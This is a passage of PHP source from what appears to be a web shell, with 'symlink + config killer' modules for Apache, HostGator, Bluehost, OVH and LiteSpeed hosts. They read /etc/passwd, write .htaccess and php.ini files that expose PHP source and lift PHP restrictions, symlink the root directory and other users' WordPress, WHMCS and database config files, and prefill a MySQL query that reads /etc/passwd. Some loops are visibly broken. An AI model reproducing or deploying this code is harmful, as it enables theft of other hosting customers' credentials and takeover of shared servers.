2810elseif(isset($_GET['x']) && ($_GET['x'] == 'apache')){
2811// symlink apache + config killer
2812?>
2813<form action="?azzatssins=<?php echo $pwd; ?>&x=apache" method="post">
2814<?php
2815$head = '
2816<html>
2817<head>
2818</script>
2819<title>APACHE</title>
2820<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2821<script language=\'javascript\'>
2822function hide_div(id)
2823{
2824 document.getElementById(id).style.display = \'none\';
2825 document.cookie=id+\'=0;\';
2826}
2827function show_div(id)
2828{
2829 document.getElementById(id).style.display = \'block\';
2830 document.cookie=id+\'=1;\';
2831}
2832function change_divst(id)
2833{
2834if (document.getElementById(id).style.display == \'none\')
2835show_div(id);
2836else
2837hide_div(id);
2838}
2839</script>'; ?>
2840<html>
2841<head>
2842<?php echo $head; ?>
2843<body bgcolor=black><center><br/><br/> <img src="http://silk.apana.org.au/graphics/apache_logo.gif">
2844<form method=post><br/><br/>
2845<nobr><b><span class='b7'>O=:[ APACHE</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
2846<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
2847
2848<?php
2849if(isset($_POST['usre'])){
2850?>
2851<form method=post>
2852<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php $users=file("/etc/passwd");
2853foreach($users as $user)
2854{
2855$str=explode(":",$user);
2856echo $str[0]."\n";
2857}
2858
2859?></textarea><br><br>
2860<input type=submit style=color:#FF0000;background-color:#000000 name=su value="EXECUTE" /></form><br/>
2861<?php } ?>
2862
2863<?php
2864error_reporting(0);
2865if(isset($_POST['su'])){
2866mkdir('azzatssins',0777);
2867$rr = "Options all \r
2868DirectoryIndex Sux.html \r
2869AddType text/plain .php \r
2870AddType text/plain .html \r
2871AddType text/plain .bak \r
2872AddType text/plain .old \r
2873AddHandler server-parsed .php \r
2874AddHandler txt .html \r
2875Require None \r Satisfy Any";
2876$g = fopen('dm/.htaccess','w');
2877fwrite($g,$rr);
2878$dm = symlink("/","dm/azx.txt");
2879$rt="<a href=dm/azx.txt><b><span class='b11'>[ SYMLINK ]</span></b></a>";
2880echo "<nobr>[~] ";
2881echo "$rt";
2882
2883$dir=mkdir('DM',0777);
2884$r = "Options all \r
2885DirectoryIndex Sux.html \r
2886AddType text/plain .php \r
2887AddType text/plain .html \r
2888AddType text/plain .bak \r
2889AddType text/plain .old \r
2890AddHandler server-parsed .php \r
2891AddHandler txt .html \r
2892Require None \r
2893Satisfy Any";
2894$f = fopen('DM/.htaccess','w');
2895fwrite($f,$r);
2896$consym="<a href=DM/><b><span class='b11'>[ CONFIG KILLER ]</span></b> </a>";
2897echo " [~] ";
2898echo "$consym";
2899echo " [~]</nobr>";
2900
2901$usr=explode("\n",$_POST['user']);
2902$configuration=array(
2903"aksi.php",
2904"aksi.php.old",
2905"aksi.php.bak",
2906"conf.php",
2907"conf.php.old",
2908"conf.php.bak",
2909"conf_global.php",
2910"conf_global.php.old",
2911"conf_global.php.bak",
2912"config.php",
2913"config.php.old",
2914"config.php.bak",
2915"configuration.php",
2916"configuration.php.old",
2917"configuration.php.bak",
2918"conn.php",
2919"conn.php.old",
2920"conn.php.bak",
2921"connect.php",
2922"connect.php.old",
2923"connect.php.bak",
2924"connection.php",
2925"connection.php.old",
2926"connection.php.bak",
2927"db.php",
2928"db.php.old",
2929"db.php.bak",
2930"database.php",
2931"database.php.old",
2932"database.php.bak",
2933"inc.php",
2934"inc.php.old",
2935"inc.php.bak",
2936"koneksi.php",
2937"koneksi.php.old",
2938"koneksi.php.bak",
2939"mysql.php",
2940"myqsl.php.old",
2941"mysql.php.bak",
2942"setting.php",
2943"setting.php.old",
2944"setting.php.bak",
2945"Settings.php",
2946"Settings.php.old",
2947"Settings.php.bak",
2948"sql.php",
2949"sql.php.old",
2950"sql.php.bak");
2951foreach($usr as $uss ){
2952$us=trim($uss);
2953foreach($configuration as $c){
2954$rs="/home/".$us."/public_html/".$c;
2955$r="DM/".$us."~".$c;
2956symlink($rs,$r);
2957}
2958}
2959}
2960?>
2961
2962<?php }
2963// x=hostgator
2964elseif(isset($_GET['x']) && ($_GET['x'] == 'hostgator')){
2965// symlink hostgator + config killer
2966?>
2967<form action="?azzatssins=<?php echo $pwd; ?>&x=hostgator" method="post">
2968<?php
2969$head = '
2970<html>
2971<head><title>HOSTGATOR</title>
2972<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2973<script language=\'javascript\'>
2974function hide_div(id){
2975 document.getElementById(id).style.display = \'none\';
2976 document.cookie=id+\'=0;\';
2977}
2978
2979function show_div(id){
2980document.getElementById(id).style.display = \'block\';
2981document.cookie=id+\'=1;\';
2982}
2983
2984function change_divst(id){
2985if (document.getElementById(id).style.display == \'none\')
2986show_div(id);
2987else
2988hide_div(id);
2989}
2990</script>'; ?>
2991<html>
2992<head>
2993<?php echo $head; ?>
2994<body bgcolor=black><center><br/><br/><img src="http://partnernoc.cpanel.net/logo/822-4021-logo.png">
2995<form method=post><br/><br/>
2996<nobr><b><span class='b7'>O=:[ HOSTGATOR</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
2997<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
2998
2999<?php
3000if(isset($_POST['usre'])){
3001?>
3002<form method=post>
3003<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php $users=file("/etc/passwd");
3004foreach($users as $user){
3005$str=explode(":",$user);
3006echo $str[0]."\n";
3007}
3008?></textarea><br><br>
3009<input type=submit style=color:#FF0000;background-color:#000000 name=su value="./EXECUTE" /></form><br/>
3010<?php } ?>
3011
3012<?php
3013error_reporting(0);
3014if(isset($_POST['su'])){
3015mkdir('hostgator',0777);
3016$r = "Options +FollowSymLinks \n
3017DirectoryIndex Sux.html \n
3018Options +Indexes \n
3019AddType text/plain .php \n
3020AddHandler server-parsed .php \n
3021AddType text/plain.html ";
3022$g = fopen('hostgator/.htaccess','w');
3023fwrite($g,$rr);
3024$dm = symlink("/","hostgator/dm.ini");
3025$rt="<a href=hostgator/dm.ini><b><span class='b11'>[ SYMLINK ]</span></b></a>";
3026echo "<nobr>[~] ";
3027echo "$rt";
3028
3029$dir=mkdir('HOSTGATOR',0777);
3030$rr = "Safe_mode = OFF \n
3031Disable_functions = NONE \n
3032Open_basedir = OFF";
3033$f = fopen('HOSTGATOR/php.ini','w');
3034fwrite($f,$rr);
3035
3036$rrr = "Options +FollowSymLinks \n
3037DirectoryIndex Sux.html \n
3038Options +Indexes \n
3039AddType text/plain .php \n
3040AddHandler server-parsed .php \n
3041AddType text/plain.html ";
3042$ff = fopen('HOSTGATOR/.htaccess','w');
3043fwrite($ff,$rrr);
3044
3045$consym="<a href=HOSTGATOR/>
3046<span class='b11'>[ CONFIG KILLER ]</span></b></a>";
3047echo " [~] ";
3048echo "$consym";
3049echo " [~]</nobr>";
3050
3051$usr=explode("\n",$_POST['user']);
3052$configuration=array("wp-config.ini",
3053"wordpress/wp-config.ini",
3054"configuration.ini",
3055"blog/wp-config.ini",
3056"joomla/configuration.ini",
3057"vb/includes/config.ini",
3058"includes/config.ini",
3059"conf_global.ini",
3060"inc/config.ini",
3061"config.ini",
3062"Settings.ini",
3063"sites/default/settings.ini",
3064"whm/configuration.ini",
3065"whmcs/configuration.ini",
3066"support/configuration.ini",
3067"whmc/WHM/configuration.ini",
3068"whm/WHMCS/configuration.ini",
3069"whm/whmcs/configuration.ini",
3070"support/configuration.ini",
3071"clients/configuration.ini",
3072"client/configuration.ini",
3073"clientes/configuration.ini",
3074"cliente/configuration.ini",
3075"clientsupport/configuration.ini",
3076"billing/configuration.ini",
3077"admin/config.ini");
3078foreach($usr as $uss ){
3079$us=trim($uss);
3080foreach($configuration as $c){
3081$rs="/home/".$us."/public_html/".$c;
3082$r="HOSTGATOR/".$us."~".$c;
3083symlink($rs,$r);
3084}
3085}
3086}
3087?>
3088
3089<?php }
3090// x=bluehost
3091elseif(isset($_GET['x']) && ($_GET['x'] == 'bluehost')){
3092// symlink bluehost + config killer
3093?>
3094<form action="?azzatssins=<?php echo $pwd; ?>&x=bluehost" method="post">
3095<?php
3096$head = '
3097<html>
3098<head><title>BLUEHOST</title>
3099<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
3100<script language=\'javascript\'>
3101function hide_div(id){
3102 document.getElementById(id).style.display = \'none\';
3103 document.cookie=id+\'=0;\';
3104}
3105
3106function show_div(id){
3107document.getElementById(id).style.display = \'block\';
3108document.cookie=id+\'=1;\';
3109}
3110
3111function change_divst(id){
3112if (document.getElementById(id).style.display == \'none\')
3113show_div(id);
3114else
3115hide_div(id);
3116}
3117</script>'; ?>
3118<html>
3119<head>
3120<?php echo $head; ?>
3121<body bgcolor=black>
3122<center><br/><br/>
3123<img src="http://www.ananova.com/wp-content/uploads/2013/04/bluehost-review-by-toptenhostings.jpg">
3124<form method=post><br/><br/><nobr><b><span class='b7'>O=:[ BLUEHOST</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
3125<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
3126
3127<?php
3128if(isset($_POST['usre'])){
3129?>
3130<form method=post>
3131<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php $users=file("/etc/passwd");
3132foreach($users as $user){
3133$str=explode(":",$user);
3134echo $str[0]."\n";
3135}
3136?></textarea><br><br>
3137<input type=submit style=color:#FF0000;background-color:#000000 name=su value="./EXECUTE" /></form><br/>
3138<?php } ?>
3139<?php
3140error_reporting(0);
3141echo "<font color=white size=2 face=\"comic sans ms\">";
3142if(isset($_POST['su'])){
3143mkdir('bluehost',0777);
3144$rr = "AllowOverride All None \n
3145DirectoryIndex index.html index.htm index.php index.php4 index.php5 \n
3146AddType application/octet-stream .php \n
3147AddHandler server-parsed .php \n
3148Addhandler cgi-script .asp \n
3149AddType ini .php \n
3150AddHandler ini .php";
3151$g = fopen('bluehost/.htaccess','w');
3152fwrite($g,$rr);
3153$dm = symlink("/","bluehost/dm.ini");
3154$rt="<a href=bluehost/dm.ini><b><span class='b11'>[ SYMLINK ]</span></b></a>";
3155echo "<nobr>[~] ";
3156echo "$rt";
3157
3158$dir=mkdir('BLUEHOST',0777);
3159$r = "Options all \n DirectoryIndex Sux.html \n
3160AddType text/plain .php \n
3161AddHandler server-parsed .php \n
3162AddType text/plain .html \n
3163AddHandler txt .html \n
3164Require None \n
3165Satisfy Any";
3166$f = fopen('BLUEHOST/.htaccess','w');
3167fwrite($f,$r);
3168$consym="<a href=BLUEHOST/><span class='b11'>[ CONFIG KILLER ]</span></b></a>";
3169echo " [~] ";
3170echo "$consym";
3171echo " [~]</nobr>";
3172
3173$usr=explode("\n",$_POST['user']);
3174$configuration=array("wp-config.ini",
3175"wordpress/wp-config.ini",
3176"configuration.ini",
3177"blog/wp-config.ini",
3178"joomla/configuration.ini",
3179"vb/includes/config.ini",
3180"includes/config.ini",
3181"conf_global.ini",
3182"inc/config.ini",
3183"config.ini",
3184"Settings.ini",
3185"sites/default/settings.ini",
3186"whm/configuration.ini",
3187"whmcs/configuration.ini",
3188"support/configuration.ini",
3189"whmc/WHM/configuration.ini",
3190"whm/WHMCS/configuration.ini",
3191"whm/whmcs/configuration.ini",
3192"support/configuration.ini",
3193"clients/configuration.ini",
3194"client/configuration.ini",
3195"clientes/configuration.ini",
3196"cliente/configuration.ini",
3197"clientsupport/configuration.ini",
3198"billing/configuration.ini",
3199"admin/config.ini");
3200
3201foreach($usr as $uss ){
3202$us=trim($uss);
3203foreach($configuration as $c){
3204$rs="/home/".$us."/public_html/".$c;
3205$rs="/home1/".$us."/public_html/".$c;
3206$rs="/home2/".$us."/public_html/".$c;
3207$rs="/home3/".$us."/public_html/".$c;
3208$rs="/home4/".$us."/public_html/".$c;
3209$rs="/home5/".$us."/public_html/".$c;
3210$rs="/home6/".$us."/public_html/".$c;
3211$rs="/home7/".$us."/public_html/".$c;
3212$rs="/home8/".$us."/public_html/".$c;
3213$r="BLUEHOST/".$us."~".$c;
3214symlink($rs,$r);
3215}
3216}
3217}
3218?>
3219 <?php }
3220// x=ovh
3221elseif(isset($_GET['x']) && ($_GET['x'] == 'ovh')){
3222// symlink ovh + config killer
3223?>
3224<form action="?azzatssins=<?php echo $pwd; ?>&x=ovh" method="post">
3225<?php
3226$head = '
3227<html>
3228<head><title>OVH</title>
3229<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
3230<script language=\'javascript\'>
3231function hide_div(id){
3232 document.getElementById(id).style.display = \'none\';
3233 document.cookie=id+\'=0;\';
3234}
3235
3236function show_div(id){
3237document.getElementById(id).style.display = \'block\';
3238document.cookie=id+\'=1;\';
3239}
3240
3241function change_divst(id){
3242if (document.getElementById(id).style.display == \'none\')
3243show_div(id);
3244else
3245hide_div(id);
3246}
3247</script>'; ?>
3248<html>
3249<head>
3250<?php echo $head; ?>
3251<body bgcolor=black><center><br/><br/><img src="http://alsace-international.eu/IMG/LOGOS/Entreprises/OVH_Logo.gif">
3252<form method=post><br/><br/>
3253<nobr><b><span class='b7'>O=:[ OVH</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
3254<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
3255
3256<?php
3257if(isset($_POST['usre'])){
3258?>
3259<form method=post>
3260<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php $users=file("/etc/passwd");
3261foreach($users as $user){
3262$str=explode(":",$user);
3263echo $str[0]."\n";
3264}
3265?></textarea><br><br>
3266<input type=submit style=color:#FF0000;background-color:#000000 name=su value="./EXECUTE" /></form><br/>
3267<?php } ?>
3268
3269<?php
3270error_reporting(0);
3271if(isset($_POST['su'])){
3272mkdir('ovh',0777);
3273$r = "AllowOverride All None \n
3274DirectoryIndex index.html index.htm index.php index.php4 index.php5 \n
3275AddType application/octet-stream .php \n
3276AddHandler server-parsed .php \n
3277Addhandler cgi-script .asp \n
3278AddType ini .php \n
3279AddHandler ini .php";
3280$g = fopen('ovh/.htaccess','w');
3281fwrite($g,$rr);
3282$dm = symlink("/","ovh/dm.ini");
3283$rt="<a href=ovh/dm.ini><b><span class='b11'>[ SYMLINK ]</span></b></a>";
3284echo "<nobr>[~] ";
3285echo "$rt";
3286
3287$dir=mkdir('OVH',0777);
3288$rr = "Safe_mode = OFF \n
3289Disable_functions = NONE \n
3290Open_basedir = OFF";
3291$f = fopen('OVH/php.ini','w');
3292fwrite($f,$rr);
3293
3294$rrr = "AllowOverride All None \n
3295DirectoryIndex index.html index.htm index.php index.php4 index.php5 \n
3296AddType application/octet-stream .php \n
3297AddHandler server-parsed .php \n
3298AddHandler cgi-script .asp \n
3299AddType ini .php \n
3300AddHandler ini .php";
3301$ff = fopen('OVH/.htaccess','w');
3302fwrite($ff,$rrr);
3303
3304$consym="<a href=OVH/>
3305<span class='b11'>[ CONFIG KILLER ]</span></b></a>";
3306echo " [~] ";
3307echo "$consym";
3308echo " [~]</nobr>";
3309
3310$usr=explode("\n",$_POST['user']);
3311$configuration=array("wp-config.ini",
3312"wordpress/wp-config.ini",
3313"configuration.ini",
3314"blog/wp-config.ini",
3315"joomla/configuration.ini",
3316"vb/includes/config.ini",
3317"includes/config.ini",
3318"conf_global.ini",
3319"inc/config.ini",
3320"config.ini",
3321"Settings.ini",
3322"sites/default/settings.ini",
3323"whm/configuration.ini",
3324"whmcs/configuration.ini",
3325"support/configuration.ini",
3326"whmc/WHM/configuration.ini",
3327"whm/WHMCS/configuration.ini",
3328"whm/whmcs/configuration.ini",
3329"support/configuration.ini",
3330"clients/configuration.ini",
3331"client/configuration.ini",
3332"clientes/configuration.ini",
3333"cliente/configuration.ini",
3334"clientsupport/configuration.ini",
3335"billing/configuration.ini",
3336"admin/config.ini");
3337foreach($usr as $uss ){
3338$us=trim($uss);
3339foreach($configuration as $c){
3340$rs="/homez.0/".$us."/www/".$c;
3341$rs="/homez.1/".$us."/www/".$c;
3342$rs="/homez.2/".$us."/www/".$c;
3343$rs="/homez.3/".$us."/www/".$c;
3344$rs="/homez.4/".$us."/www/".$c;
3345$rs="/homez.5/".$us."/www/".$c;
3346$rs="/homez.6/".$us."/www/".$c;
3347$rs="/homez.7/".$us."/www/".$c;
3348$rs="/homez.8/".$us."/www/".$c;
3349$rs="/homez.9/".$us."/www/".$c;
3350$rs="/homez.10/".$us."/www/".$c;
3351$rs="/homez.11/".$us."/www/".$c;
3352$rs="/homez.12/".$us."/www/".$c;
3353$rs="/homez.13/".$us."/www/".$c;
3354$rs="/homez.14/".$us."/www/".$c;
3355$rs="/homez.15/".$us."/www/".$c;
3356$rs="/homez.16/".$us."/www/".$c;
3357$rs="/homez.17/".$us."/www/".$c;
3358$rs="/homez.18/".$us."/www/".$c;
3359$rs="/homez.19/".$us."/www/".$c;
3360$rs="/homez.20/".$us."/www/".$c;
3361$rs="/homez.21/".$us."/www/".$c;
3362$rs="/homez.22/".$us."/www/".$c;
3363$rs="/homez.23/".$us."/www/".$c;
3364$rs="/homez.24/".$us."/www/".$c;
3365$rs="/homez.25/".$us."/www/".$c;
3366$rs="/homez.26/".$us."/www/".$c;
3367$rs="/homez.27/".$us."/www/".$c;
3368$rs="/homez.28/".$us."/www/".$c;
3369$rs="/homez.29/".$us."/www/".$c;
3370$rs="/homez.30/".$us."/www/".$c;
3371$rs="/homez.31/".$us."/www/".$c;
3372$rs="/homez.32/".$us."/www/".$c;
3373$rs="/homez.33/".$us."/www/".$c;
3374$rs="/homez.34/".$us."/www/".$c;
3375$rs="/homez.35/".$us."/www/".$c;
3376$rs="/homez.36/".$us."/www/".$c;
3377$rs="/homez.37/".$us."/www/".$c;
3378$rs="/homez.38/".$us."/www/".$c;
3379$rs="/homez.39/".$us."/www/".$c;
3380$rs="/homez.40/".$us."/www/".$c;
3381$rs="/homez.41/".$us."/www/".$c;
3382$rs="/homez.42/".$us."/www/".$c;
3383$rs="/homez.43/".$us."/www/".$c;
3384$rs="/homez.44/".$us."/www/".$c;
3385$rs="/homez.45/".$us."/www/".$c;
3386$rs="/homez.46/".$us."/www/".$c;
3387$rs="/homez.47/".$us."/www/".$c;
3388$rs="/homez.48/".$us."/www/".$c;
3389$rs="/homez.49/".$us."/www/".$c;
3390$rs="/homez.50/".$us."/www/".$c;
3391$rs="/homez.51/".$us."/www/".$c;
3392$rs="/homez.52/".$us."/www/".$c;
3393$rs="/homez.53/".$us."/www/".$c;
3394$rs="/homez.54/".$us."/www/".$c;
3395$rs="/homez.55/".$us."/www/".$c;
3396$rs="/homez.56/".$us."/www/".$c;
3397$rs="/homez.57/".$us."/www/".$c;
3398$rs="/homez.58/".$us."/www/".$c;
3399$rs="/homez.59/".$us."/www/".$c;
3400$rs="/homez.60/".$us."/www/".$c;
3401$rs="/homez.61/".$us."/www/".$c;
3402$rs="/homez.62/".$us."/www/".$c;
3403$rs="/homez.63/".$us."/www/".$c;
3404$rs="/homez.64/".$us."/www/".$c;
3405$rs="/homez.65/".$us."/www/".$c;
3406$rs="/homez.66/".$us."/www/".$c;
3407$rs="/homez.67/".$us."/www/".$c;
3408$rs="/homez.68/".$us."/www/".$c;
3409$rs="/homez.69/".$us."/www/".$c;
3410$rs="/homez.70/".$us."/www/".$c;
3411$rs="/homez.71/".$us."/www/".$c;
3412$rs="/homez.72/".$us."/www/".$c;
3413$rs="/homez.73/".$us."/www/".$c;
3414$rs="/homez.74/".$us."/www/".$c;
3415$rs="/homez.75/".$us."/www/".$c;
3416$rs="/homez.76/".$us."/www/".$c;
3417$rs="/homez.77/".$us."/www/".$c;
3418$rs="/homez.78/".$us."/www/".$c;
3419$rs="/homez.79/".$us."/www/".$c;
3420$rs="/homez.80/".$us."/www/".$c;
3421$rs="/homez.81/".$us."/www/".$c;
3422$rs="/homez.82/".$us."/www/".$c;
3423$rs="/homez.83/".$us."/www/".$c;
3424$rs="/homez.84/".$us."/www/".$c;
3425$rs="/homez.85/".$us."/www/".$c;
3426$rs="/homez.86/".$us."/www/".$c;
3427$rs="/homez.87/".$us."/www/".$c;
3428$rs="/homez.88/".$us."/www/".$c;
3429$rs="/homez.89/".$us."/www/".$c;
3430$rs="/homez.100/".$us."/www/".$c;
3431$rs="/homez.101/".$us."/www/".$c;
3432$rs="/homez.102/".$us."/www/".$c;
3433$rs="/homez.103/".$us."/www/".$c;
3434$rs="/homez.104/".$us."/www/".$c;
3435$rs="/homez.105/".$us."/www/".$c;
3436$rs="/homez.106/".$us."/www/".$c;
3437$rs="/homez.107/".$us."/www/".$c;
3438$rs="/homez.108/".$us."/www/".$c;
3439$rs="/homez.109/".$us."/www/".$c;
3440$rs="/homez.110/".$us."/www/".$c;
3441$rs="/homez.111/".$us."/www/".$c;
3442$rs="/homez.112/".$us."/www/".$c;
3443$rs="/homez.113/".$us."/www/".$c;
3444$rs="/homez.114/".$us."/www/".$c;
3445$rs="/homez.115/".$us."/www/".$c;
3446$rs="/homez.116/".$us."/www/".$c;
3447$rs="/homez.117/".$us."/www/".$c;
3448$rs="/homez.118/".$us."/www/".$c;
3449$rs="/homez.119/".$us."/www/".$c;
3450$rs="/homez.120/".$us."/www/".$c;
3451$rs="/homez.121/".$us."/www/".$c;
3452$rs="/homez.122/".$us."/www/".$c;
3453$rs="/homez.123/".$us."/www/".$c;
3454$rs="/homez.124/".$us."/www/".$c;
3455$rs="/homez.125/".$us."/www/".$c;
3456$rs="/homez.126/".$us."/www/".$c;
3457$rs="/homez.127/".$us."/www/".$c;
3458$rs="/homez.128/".$us."/www/".$c;
3459$rs="/homez.129/".$us."/www/".$c;
3460$rs="/homez.130/".$us."/www/".$c;
3461$r="OVH/".$us."~".$c; symlink($rs,$r);
3462}
3463}
3464}
3465?>
3466
3467<?php }
3468// x=litespeed
3469elseif(isset($_GET['x']) && ($_GET['x'] == 'litespeed')){
3470// symlink litespeed-nginx + config killer
3471?>
3472<form action="?azzatssins=<?php echo $pwd; ?>&x=litespeed" method="post">
3473<?php
3474$head = '
3475<html>
3476<head>
3477</script>
3478<title>LITESPEED - APACHE</title>
3479<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
3480<script language=\'javascript\'>
3481function hide_div(id)
3482{
3483 document.getElementById(id).style.display = \'none\';
3484 document.cookie=id+\'=0;\';
3485}
3486function show_div(id)
3487{
3488 document.getElementById(id).style.display = \'block\';
3489 document.cookie=id+\'=1;\';
3490}
3491function change_divst(id)
3492{
3493if (document.getElementById(id).style.display == \'none\')
3494show_div(id);
3495else
3496hide_div(id);
3497}
3498</script>'; ?>
3499<html>
3500<head>
3501<?php echo $head; ?>
3502<body bgcolor=black><center><br/><br/> <img src="http://www.ftt.co.uk/images/nginx.png"><br/><img src="http://www.litespeedtech.com/images/litespeed/Subpage_misc/LSWS_logo.png">
3503<form method=post><br/><br/>
3504<nobr><b><span class='b7'>O=:[ LITESPEED - NGINX</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
3505<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
3506
3507<?php
3508if(isset($_POST['usre'])){
3509?>
3510<form method=post>
3511<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php $users=file("/etc/passwd");
3512foreach($users as $user)
3513{
3514$str=explode(":",$user);
3515echo $str[0]."\n";
3516}
3517
3518?></textarea><br><br>
3519<input type=submit style=color:#FF0000;background-color:#000000 name=su value="EXECUTE" /></form><br/>
3520<?php } ?>
3521
3522<?php
3523error_reporting(0);
3524if(isset($_POST['su'])){
3525mkdir('litespeed',0777);
3526$rr = "Options +FollowSymlinks \r
3527Options +IncludesNoExec -ExecCGI \r
3528DirectoryIndex index.html index.shtml index.htm index.php \r
3529RemoveHandler .php \r
3530AddType text/html .shtml \r
3531AddType application/octet-stream .php \r
3532AddHandler server-parsed .shtml";
3533$g = fopen('litespeed/.htaccess','w');
3534fwrite($g,$rr);
3535$dm = symlink("/","litespeed/dm.shtml");
3536$rt="<a href=litespeed/dm.shtml><b><span class='b11'>[ SYMLINK ]</span></b></a>";
3537echo "<nobr>[~] ";
3538echo "$rt";
3539
3540$dir=mkdir('LITESPEED',0777);
3541$r = "Options +FollowSymlinks \r
3542Options +IncludesNoExec -ExecCGI \r
3543DirectoryIndex index.html index.shtml index.htm index.php \r
3544RemoveHandler .php \r
3545AddType text/html .shtml \r
3546AddType application/octet-stream .php \r
3547 AddHandler server-parsed .shtml";
3548$f = fopen('LITESPEED/.htaccess','w');
3549fwrite($f,$r);
3550$consym="<a href=LITESPEED/><b><span class='b11'>[ CONFIG KILLER ]</span></b> </a>";
3551echo " [~] ";
3552echo "$consym";
3553echo " [~]</nobr>";
3554
3555$usr=explode("\n",$_POST['user']);
3556$configuration=array(
3557"aksi.php",
3558"aksi.php.old",
3559"aksi.php.bak",
3560"conf.php",
3561"conf.php.old",
3562"conf.php.bak",
3563"conf_global.php",
3564"conf_global.php.old",
3565"conf_global.php.bak",
3566"config.php",
3567"config.php.old",
3568"config.php.bak",
3569"configuration.php",
3570"configuration.php.old",
3571"configuration.php.bak",
3572"conn.php",
3573"conn.php.old",
3574"conn.php.bak",
3575"connect.php",
3576"connect.php.old",
3577"connect.php.bak",
3578"connection.php",
3579"connection.php.old",
3580"connection.php.bak",
3581"db.php",
3582"db.php.old",
3583"db.php.bak",
3584"database.php",
3585"database.php.old",
3586"database.php.bak",
3587"inc.php",
3588"inc.php.old",
3589"inc.php.bak",
3590"koneksi.php",
3591"koneksi.php.old",
3592"koneksi.php.bak",
3593"mysql.php",
3594"myqsl.php.old",
3595"mysql.php.bak",
3596"setting.php",
3597"setting.php.old",
3598"setting.php.bak",
3599"Settings.php",
3600"Settings.php.old",
3601"Settings.php.bak",
3602"sql.php",
3603"sql.php.old",
3604"sql.php.bak");
3605foreach($usr as $uss ){
3606$us=trim($uss);
3607foreach($configuration as $c){
3608$rs="/home/".$us."/public_html/".$c;
3609$r="LITESPEED/".$us."~".$c;
3610symlink($rs,$r);
3611}
3612}
3613}
3614?>
3615
3616
3617 <?php }
3618// x=mysql1
3619elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql1')) {
3620
3621if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])) {
3622$sqlhost = $_GET['sqlhost'];
3623$sqluser = $_GET['sqluser'];
3624$sqlpass = $_GET['sqlpass'];
3625$sqlport = $_GET['sqlport'];
3626if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){
3627$msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
3628$msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport;
3629$msg .= " <span class=\"gaya\">-></span> <a href=\"?azzatssins=".$pwd."&x=mysql&
3630
3631sqlhost=".$sqlhost."&sqluser=".$sqluser."&
3632sqlpass=".$sqlpass."&
3633sqlport=".$sqlport."&\">[ databases ]</a>";
3634 if(isset($_GET['db']))
3635$msg .= " <span class=\"gaya\">-></span>
3636 <a href=\"azzatssins=".$pwd."&x=mysql&
3637sqlhost=".$sqlhost."&sqluser=".$sqluser."&
3638sqlpass=".$sqlpass."&
3639sqlport=".$sqlport."&
3640db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>";
3641 if(isset($_GET['table']))
3642$msg .= " <span class=\"gaya\">-></span> <a href=\"azzatssins=".$pwd."&x=mysql&
3643sqlhost=".$sqlhost."&sqluser=".$sqluser."&
3644sqlpass=".$sqlpass."&sqlport=".$sqlport."&
3645db=".$_GET['db']."&
3646table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>";
3647$msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
3648$msg .= "</div>";
3649echo $msg;
3650 if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){
3651$db = $_GET['db'];
3652$query = "DROP TABLE IF EXISTS dm0_table; \nCREATE TABLE `dm0_table` ( `file` LONGBLOB NOT NULL ); \nLOAD DATA INFILE \"/etc/passwd\"\nINTO TABLE Z3r0Z3r0_table;SELECT * FROM dm0_table; \nDROP TABLE IF EXISTS dm_table;";
3653
3654$msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"><input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
3655 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
3656<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
3657<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
3658<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
3659<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
3660<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
3661<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p>
3662 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
3663 </form>
3664 </div> ";
3665 $tables = array();
3666 $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>";
3667$hasil = @mysql_list_tables($db,$con);
3668while(list($table) = @mysql_fetch_row($hasil)){
3669@array_push($tables,$table);
3670}
3671@sort($tables);
3672foreach($tables as $table){
